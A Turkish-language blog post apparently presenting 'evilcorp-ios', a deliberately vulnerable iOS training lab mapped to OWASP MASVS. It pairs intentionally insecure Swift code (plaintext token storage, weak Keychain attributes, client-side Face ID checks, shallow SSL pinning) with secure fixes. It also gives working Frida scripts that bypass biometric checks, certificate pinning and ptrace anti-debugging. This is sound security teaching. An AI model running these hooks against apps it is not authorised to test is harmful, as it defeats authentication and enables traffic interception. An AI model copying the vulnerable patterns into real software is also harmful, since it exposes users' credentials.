iOS güvenlik modeli ve geliştirici yanılgıları

iOS platform güvenlik mimarisi modern tüketici işletim sistemleri arasında en olgun yapılardan biri olarak kabul edilir: donanım temelli Secure Enclave işlemcileri, zorunlu kod imzalama (code-signing), yalıtılmış sandbox uygulama konteynerleri ve derleme zamanı bellek korumaları.

Buna rağmen geliştiriciler sıklıkla işletim sistemi platform güvenliği ile uygulama katmanı mantıksal güvenliğini birbirine karıştırır:

  1. Sandbox Yanılsaması: iOS’in A uygulamasının B uygulamasının konteyner dizinini okumasını engellemesi, diskte yerel olarak saklanan verilerin otomatik olarak korunduğu anlamına gelmez. Fiziksel cihaz erişimi, şifrelenmemiş iTunes yedekleri, jailbreak işlemleri veya dosya paylaşım yetkileri (UIFileSharingEnabled) düz metin plist dosyalarını, SQLite veritabanlarını ve UserDefaults kayıtlarını doğrudan dışarıya açar.
  2. İstemci Taraflı Karar Tuzakları: Face ID’nin true dönüp dönmediği veya diskte /bin/sh dosyasının bulunup bulunmadığı gibi istemci tarafında boolean değerlere dayanan mantık denetimleri, istemci çalışma zamanının güvenilir olduğunu varsayar. Cihaz üzerinde tam kontrole sahip bir saldırgan; Objective-C ve Swift çalışma zamanını Frida ile kancalayabilir (hook), LLDB ile bellek yazmaçlarını değiştirebilir veya Mach-O ikilisini yamalayabilir.
  3. Keychain Hatalı Yapılandırması: iOS Keychain, kayıtları cihaz parolasına bağlı donanım anahtarlarıyla şifreler. Ancak zayıf erişilebilirlik özniteliklerinin seçilmesi (kSecAttrAccessibleAlways veya kSecAttrAccessibleAfterFirstUnlock gibi) ve biyometrik zorunluluk eklenmemesi, cihaz kilitliyken dahi parolaların ve oturum anahtarlarının çıkarılmasına yol açar.

Bu saldırı yüzeylerini kontrollü ve tekrarlanabilir bir ortamda denetlemek amacıyla evilcorp-ios laboratuvarını geliştirdik.

EvilCorp iOS mimarisi: 30 yapılandırılmış laboratuvar

evilcorp-ios, iOS 16+ hedeflenerek tamamen yerel SwiftUI ile geliştirilmiştir. OWASP Mobile Application Security Verification Standard (MASVS v2), MASWE ve CWE standartlarıyla birebir eşlenen 30 kasıtlı zafiyet senaryosunu bünyesinde barındırır:

IOS UYGULAMA SALDIRI YÜZEYİ · 4 DENETİM VEKTÖRÜ (30 LAB) 1 · Veri Depolama UserDefaults & Plist Keychain Hataları 2 · Kriptografi Sabit Anahtarlar ECB Modu & DES 3 · Ağ & IPC SSL Pinning Aşma URL Scheme & XSS 4 · Dayanıklılık Frida & Anti-Debug Biyometrik Atlatma
EvilCorp iOS denetim vektörleri: Güvensiz yerel depolama, kırık kriptografi, ağ ve IPC müdahalesi ile istemci tarafı çalışma zamanı manipülasyonu.
AlanMASVS v2 ProfiliCWE TanımlarıOdak Zafiyetler
DepolamaMASVS-STORAGECWE-312, CWE-922, CWE-532UserDefaults tokenları, şifresiz SQLite, Keychain hataları, Pano sızıntıları
KriptoMASVS-CRYPTOCWE-327, CWE-798Sabit AES anahtarları, statik IV kullanımı, güvensiz ECB modları, zayıf hash
AğMASVS-NETWORKCWE-295, CWE-319, CWE-939SSL Pinning atlatma, açık metin HTTP trafiği, URL Scheme manipülasyonu
DayanıklılıkMASVS-RESILIENCECWE-693, CWE-287Jailbreak algılama atlatma, anti-debugging devre dışı bırakma, Face ID kancalama

Derinlemesine analiz: 4 temel istismar primitifi

1. Güvensiz yerel depolama ve Keychain hatalı yapılandırması (MASWE-0011 / CWE-922)

Mobil mühendislikte sıkça karşılaşılan bir hata, uygulama konteynerinin geçilmez bir güvenlik sınırı sunduğu yanılgısıyla oturum anahtarlarını veya parolaları UserDefaults içerisine yazmaktır:

// Vulnerable Implementation: Plaintext token storage in UserDefaults
UserDefaults.standard.set(userAuthToken, forKey: "session_token")

Fiziksel erişim sağlayan veya şifresiz yedek alan bir saldırgan, Library/Preferences/<bundle-id>.plist konumundaki şifrelenmemiş dosyadan bu kimlik bilgisini saniyeler içinde okuyabilir.

Geliştiriciler Keychain Services API’sini kullansalar dahi, yanlış erişim özniteliği seçildiğinde şifreleme koruması etkisiz kalır:

// Vulnerable Implementation: Keychain item readable across all device states
let query: [String: Any] = [
    kSecClass as String: kSecClassGenericPassword,
    kSecAttrAccount as String: "authToken",
    kSecValueData as String: tokenData,
    kSecAttrAccessible as String: kSecAttrAccessibleAlways // Deprecated and insecure
]
SecItemAdd(query as CFDictionary, nil)

Güvenli İyileştirme: Hassas veriler her zaman cihaz parolasına ve biyometrik kayda donanımsal olarak bağlanmalıdır:

// Secure Implementation: Device-bound, biometrically gated Keychain entry
let access = SecAccessControlCreateWithFlags(
    kCFAllocatorDefault,
    kSecAttrAccessibleWhenUnlockedThisDeviceOnly,
    .biometryCurrentSet,
    nil
)!

2. İstemci taraflı biyometrik doğrulama atlatma (MASWE-0025 / CWE-287)

Finans ve kurumsal uygulamalar, hassas görünümleri (para transferi veya kasa görünümü) korumak için sıklıkla LocalAuthentication kütüphanesini kullanır. Tipik bir hatalı yaklaşım şu şekildedir:

// Vulnerable Implementation: Client-side Face ID verification
let context = LAContext()
context.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, localizedReason: "Authenticate to view vault") { success, error in
    DispatchQueue.main.async {
        if success {
            self.displayVaultContents() // Security boundary exists solely in client UI logic
        }
    }
}

Burada success değişkeni istemci kodunda değerlendirilen bir bellek içi booleandır. Frida kullanan bir saldırgan, evaluatePolicy:localizedReason:reply: metodunu kancalayarak geri çağırma (completion handler) argümanını doğrudan true yapabilir:

// Frida Hook: Biometrics Authentication Bypass
const hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
    onEnter: function(args) {
        // Replace the completion block callback to force success = true
        const replyBlock = new ObjC.Block(args[4]);
        const originalCallback = replyBlock.implementation;
        replyBlock.implementation = function(success, error) {
            console.log("[+] Intercepted Face ID prompt -> Forcing success: true");
            originalCallback(true, null);
        };
    }
});

Güvenli İyileştirme: Biyometrik doğrulama asla doğrudan istemci arayüz mantığını yetkilendirmemelidir. Sunucu kriptografik bir meydan okuma (challenge) üretmeli; Secure Enclave bu meydan okumayı .biometryCurrentSet ile korunan özel anahtarla imzalamalı ve sunucu imzayı doğruladıktan sonra erişim izni vermelidir.

3. Özel SSL pinning mekanizmalarını aşmak (MASWE-0061 / CWE-295)

Araya girme (MitM) saldırılarını engellemek amacıyla uygulamalar URLSessionDelegate içerisinde özel SSL sabitleme mantığı kurar:

// Vulnerable Custom Pinning: Easily hooked delegate method
func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {
    if challenge.protectionSpace.authenticationMethod == NSURLAuthenticationMethodServerTrust {
        if let serverTrust = challenge.protectionSpace.serverTrust {
            // Compare certificate public key against hardcoded hash...
        }
    }
    completionHandler(.useCredential, URLCredential(trust: serverTrust))
}

Frida, ilgili delege fonksiyonunu kancalayıp challenge sonucunu koşulsuz biçimde .useCredential olarak döndürerek bu savunmayı tek bir betikle aşar:

// Frida Hook: Universal URLSession Trust Bypass
const resolver = new ApiResolver("objc");
const matches = resolver.enumerateMatchesSync("-[* URLSession:didReceiveChallenge:completionHandler:]");
matches.forEach(function(match) {
    Interceptor.attach(match.address, {
        onEnter: function(args) {
            const completionHandler = new ObjC.Block(args[4]);
            const serverTrust = ObjC.Object(args[3]).protectionSpace().serverTrust();
            completionHandler.implementation(0, ObjC.classes.NSURLCredential.credentialForTrust_(serverTrust));
        }
    });
});

4. Anti-debugging ve çalışma zamanı bütünlüğü (MASWE-0096 / CWE-693)

Geliştiriciler LLDB hata ayıklayıcısının bağlanmasını engellemek için ptrace(PT_DENY_ATTACH, 0, 0, 0) çağrısı yapar veya sysctl bayraklarını denetler:

// Native C ptrace anti-debugging check
#include <sys/types.h>
#include <unistd.h>
#define PT_DENY_ATTACH 31

typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data);
void disable_gdb() {
    void* handle = dlopen(NULL, RTLD_GLOBAL | RTLD_NOW);
    ptrace_ptr_t ptrace_func = dlsym(handle, "ptrace");
    ptrace_func(PT_DENY_ATTACH, 0, 0, 0);
}

Frida üzerinden ptrace sembolünü kancalamak veya ikili dosyanın giriş noktasını yamalamak bu kontrolü tamamen etkisiz kılar:

// Frida Hook: Neutralize PT_DENY_ATTACH
Interceptor.attach(Module.findExportByName(null, "ptrace"), {
    onEnter: function(args) {
        const request = args[0].toInt32();
        if (request === 31) { // PT_DENY_ATTACH
            console.log("[+] Blocked ptrace(PT_DENY_ATTACH) call.");
            args[0] = ptr(0); // Replace with benign request
        }
    }
});

Uygulamalı Frida iş akışı: betikten bayrağa

evilcorp-ios içerisinde her zafiyet görevi etkileşimli ipuçları, sentetik test verileri ve doğrulanabilir CTF bayrakları ile donatılmıştır.

Test cihazında çalışan uygulamaya karşı dinamik analiz başlatıldığında:

# Attach Frida to the running EvilCorp simulator or USB device
frida -U -N com.jankesec.evilcorp -l bypass_biometrics.js
EvilCorp iOS uygulama arayuzu, Depolama, Kripto, Kimlik Dogrulama, Ag ve Dayaniklik alanlarinda MASVS kapsama dagilimi
EvilCorp iOS Panosu 30 mobil güvenlik kategorisinde doğrulanmış laboratuvar tamamlanmasını gösteren gerçek zamanlı MASVS kapsama takipçisi.

Biyometrik doğrulama tetiklendiğinde hazırlanan Frida betiği araya girer ve lab bayrağı doğrudan terminal çıktısına düşer:

[+] Hooked -[LAContext evaluatePolicy:localizedReason:reply:]
[+] LocalAuthentication requested for domain: "kBiometricAuthKeyVault"
[+] Forcing evaluatePolicy reply: success = true, error = nil
[FLAG] FLAG{SE_ENCLAVE_NEEDS_HARDWARE_BACKED_CHALLENGES_2026}

MASVS v2 eşlemesi ve güvenli kodlama kılavuzu

KategoriLab KoduZafiyet DeseniTehdit EtkisiGüvenli İyileştirme
DepolamaLAB-01UserDefaults Kimlik BilgileriYedek üzerinden açık metin parola sızıntısıYalnızca Keychain Services üzerinde saklanmalı
DepolamaLAB-02kSecAttrAccessibleAlwaysCihaz kilitliyken dahi Keychain çıkarımıkSecAttrAccessibleWhenUnlockedThisDeviceOnly zorunlu kılınmalı
DepolamaLAB-08NSLog / print Günlük KaydıSistem loglarında hassas veri ifşasıYayın sürümlerinde log makroları kaldırılmalı
KriptoLAB-09Sabit AES Şifreleme AnahtarıGhidra / Hopper ile tersine mühendislikCryptoKit ve Secure Enclave ile dinamik türetim
Kimlik DoğrulamaLAB-10İstemci Taraflı Face ID Boole DeğeriFrida yöntemi ile saniyeler içinde atlatmaSecure Enclave ile imzalanan donanım meydan okuması
AğLAB-06Yüzeysel URLSessionDelegate SabitlemesiFrida kancasıyla MitM dinlemeNetwork.framework TLS güven politikaları
DayanıklılıkLAB-05Dosya Varlığı ile Jailbreak Tespitistat çağrısı kancalanarak kolayca atlatmaSunucu taraflı cihaz bütünlük doğrulamalarıyla derinlemesine savunma

Kanıt ve sınırlar

Tüm alıştırmalar, kavram kanıtları ve çalışma zamanı kancaları; macOS üzerindeki iOS 16, 17 ve 18 Simulator ortamlarında ve checkm8 zafiyetine sahip fiziksel test cihazlarında evilcorp-ios test platformu kullanılarak doğrulanmıştır. Frida betikleri ve analiz yöntemleri yetkili güvenlik denetimleri ve eğitim amaçları için tasarlanmıştır. Testler sırasında hiçbir gerçek üretim uygulaması veya kişisel veri hedef alınmamıştır.

Referanslar

Kaynaklar ve güncellik

Bu teknik not ne kadar güncel?

Kontrol edilen kaynaklar9 Kasım 2026

En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.

İnceleme DurumuYazar incelemesi tamamlandı

Yazar teknik incelemeyi tamamladı. Bu etiket tek başına laboratuvar yeniden üretimi iddiası taşımaz.